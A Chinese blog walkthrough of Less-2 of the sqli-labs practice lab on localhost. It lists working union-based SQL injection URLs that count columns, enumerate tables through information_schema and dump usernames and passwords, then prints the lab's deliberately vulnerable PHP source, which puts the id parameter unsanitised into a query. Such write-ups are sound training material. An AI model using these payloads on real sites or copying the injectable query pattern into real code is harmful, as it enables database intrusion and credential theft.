sqli-labs-master第二关：Error Based- Intiger
接上篇博客：http://blog.51cto.com/tdcqvip/2060816
来到第二关：
http://127.0.0.1/sqli-labs-master/Less-2/
访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1
判断是否有注入点：
and 1 = 1 返回正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23
and 1 = 2 返回失败
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23
说明存在注入点：
order by n 查看字段
当n=3时返回正确
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23
当=4时返回错误
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 %23
说明字段是3
用union select 进行联合查询：
并用报错的方式显示显示位：
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 %23
通过上图可以看到显示位在2，3上。
用version（）和database（）查看php版本和当前网站用的数据库名字
我们通过上图可以看到数据库是“security” 版本是5.5.53
接下来我们查看数据库security下的表：
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
通过上图可以看到有users表
查看users表里的列
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
接下来就是查看username和password里的内容：
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id = 2 %23
结束：
声明：源代码被我改动了，所以在注入的时候才会显示出来查询语句
接下来看看源代码：
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//including the Mysql connect parameters.
include
(
"../sql-connections/sql-connect.php"
);
error_reporting
(0);
// take the variables
if
(isset(
$_GET
[
'id'
]))
{
$id
=
$_GET
[
'id'
];
//logging the connection parameters to a file for analysis.
$fp
=
fopen
(
'result.txt'
,
'a'
);
fwrite(
$fp
,
'ID:'
.
$id
.
"\n"
);
fclose(
$fp
);
// connectivity
$sql
=
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
;
$result
=mysql_query(
$sql
);
$row
= mysql_fetch_array(
$result
);
echo
$sql
;
echo
"
;
if
(
$row
)
{
echo
"
;
echo
'Your Login name:'
.
$row
[
'username'
];
echo
"
;
echo
'Your Password:'
.
$row
[
'password'
];
echo
""
;
}
else
{
echo
'
;
print_r(mysql_error());
echo
""
;
}
}
else
{
echo
"Please input the ID as parameter with numeric value"
;
}
?>
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